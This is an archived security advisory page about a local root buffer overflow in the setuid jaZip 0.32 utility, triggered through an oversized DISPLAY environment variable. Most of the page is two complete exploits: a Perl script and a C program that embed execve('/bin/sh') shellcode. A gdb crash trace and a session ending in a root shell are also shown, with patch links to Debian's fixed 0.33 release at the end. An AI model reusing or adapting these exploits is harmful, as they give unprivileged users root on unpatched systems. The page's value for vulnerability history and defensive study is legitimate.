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TUCoPS :: Linux :: Apps A-M :: jazip.htm

JaZip Buffer Overflow root exploit



Vulnerability

    jaZip

Affected

    jaZip

Description

    teleh0r  found  following.   jaZip  is  a  program for managing an
    Iomega Zip or Jaz drive.  It is often installed setuid root -  and
    because of a buffer overflow  it is possible for regular  users to
    become root.

    Tested rpm:

        ftp://ftp.linux.com/pub/mirrors/turbolinux/turbolinux/TurboLinux/RPMS/jaZip-0.32-2.i386.rpm

    Let's see:

        [root@localhost /root]# export DISPLAY=`perl -e '{print "A"x"2100"}'`
        [root@localhost /root]# gdb /usr/X11R6/bin/jazip
        GNU gdb 19991004
        Copyright 1998 Free Software Foundation, Inc.
        (gdb) r
        Starting program: /usr/X11R6/bin/jazip

        Program received signal SIGSEGV, Segmentation fault.
        0x41414141 in ?? ()
        ----
        [teleh0r@localhost teleh0r]$ rpm -q jaZip
        jaZip-0.32-2
        [teleh0r@localhost teleh0r]$ ./jazip-exploit.pl
        Address: 0xbffff7ac
        bash#

    Exploit follows:

    #!/usr/bin/perl

    ## jaZip Exploit / Tested version: jaZip-0.32-2 / anno 2000
    ## teleh0r@doglover.com / http://teleh0r.cjb.net/

    $shellcode =                     # Shellcode by: Taeho Oh
        "\xeb\x1f".                  #/* jmp 0x1f              */
        "\x5e".                      #/* popl %esi             */
        "\x89\x76\x08".              #/* movl %esi,0x8(%esi)   */
        "\x31\xc0".                  #/* xorl %eax,%eax        */
        "\x88\x46\x07".              #/* movb %eax,0x7(%esi)   */
        "\x89\x46\x0c".              #/* movl %eax,0xc(%esi)   */
        "\xb0\x0b".                  #/* movb $0xb,%al         */
        "\x89\xf3".                  #/* movl %esi,%ebx        */
        "\x8d\x4e\x08".              #/* leal 0x8(%esi),%ecx   */
        "\x8d\x56\x0c".              #/* leal 0xc(%esi),%edx   */
        "\xcd\x80".                  #/* int $0x80             */
        "\x31\xdb".                  #/* xorl %ebx,%ebx        */
        "\x89\xd8".                  #/* movl %ebx,%eax        */
        "\x40".                      #/* inc %eax              */
        "\xcd\x80".                  #/* int $0x80             */
        "\xe8\xdc\xff\xff\xff".      #/* call -0x24            */
        "/bin/sh";                   #/* .string \"/bin/sh\"   */


    $ret = 0xbffff7ac;  # May have to be modified.
    $len = 2100;
    $nop = 'A';

    if (@ARGV == 1) {
        $offset = $ARGV[0];
    }

    for ($i = 0; $i < ($len - length($shellcode) - 100); $i++) {
        $buffer .= $nop;
    }

    $buffer .= $shellcode;

    print("Address: 0x", sprintf('%lx',($ret + $offset)), "\n");
    $new_ret = pack('l',($ret + $offset));
    $buffer .= $nop x 3; # May have to be modified.

    for ($i += length($shellcode); $i < $len; $i += 4) {
        $buffer .= $new_ret;
    }

    if ($ENV{'DISPLAY'}) {
        delete($ENV{'DISPLAY'});
    }

    local($ENV{'DISPLAY'}) = $buffer;
    exec("/usr/X11R6/bin/jazip");

    Here is another exploit:

    /*
     *  jaZip-0.32 local buffer overflow exploit (tested on debian)
     *
     *  usage is: ./jazip-exp <offset> <align>
     *     offset: 1500 x N (where N is positive or negative number)
     *     align: 1-3 (0 is def.)
     *
     *  This exploit is heavily broken, to prevent scriptkiddie abuse!
     *  Thanks to d-blood for helping me with the shellcode.
     *
     *  c0ded by: needler @ efnet <n33dl3r@hotmail.com>
     *
     *  Oh btw.. fuck college, I'm gonna be a pro CS player.
     */

    #include <stdio.h>
    #include <stdlib.h>

    #define   BSIZE    2080
    #define   NOPS     1500

    char shellcode[] =
    "\xeb\x17\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d"
    "\x4e\x08\x31\xd2\xcd\x80\xe8\xe4\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x58";

    int
    main(int argc, char **argv, char **envp) {

       char overflow[BSIZE];
       int i, align = 0, offset = 0;
       u_long addy = 0xbffff9e5;

       if( argc > 1) offset = atoi(argv[1]);
       if( argc > 2) align  = atoi(argv[2]);

       memset(overflow, 0x90, BSIZE);
       memcpy(&overflow[NOPS], shellcode, strlen(shellcode));
       memcpy(overflow, "DISPLAY=", 8);
       for( i = (NOPS + strlen(shellcode)); i < BSIZE; i += 4)
            *(long *)&overflow[i+align] = addy + offset;
       envp[0] = overflow;

       printf("Using address 0x%x\n", addy + offset);
    // execl("/usr/X11R6/bin/jazip", "jazip", NULL);
    }

Solution

    For Debian Linux:

        http://security.debian.org/dists/stable/updates/main/source/jazip_0.33-1.dsc
        http://security.debian.org/dists/stable/updates/main/source/jazip_0.33-1.diff.gz
        http://security.debian.org/dists/stable/updates/main/source/jazip_0.33.orig.tar.gz
        http://security.debian.org/dists/stable/updates/main/binary-i386/jazip_0.33-1_i386.deb
        http://security.debian.org/dists/stable/updates/main/binary-m68k/jazip_0.33-1_m68k.deb
        http://security.debian.org/dists/stable/updates/main/binary-sparc/jazip_0.33-1_sparc.deb
        http://security.debian.org/dists/stable/updates/main/binary-alpha/jazip_0.33-1_alpha.deb
        http://security.debian.org/dists/stable/updates/main/binary-powerpc/jazip_0.33-1_powerpc.deb

    Author of package provided fixed version 0.33.


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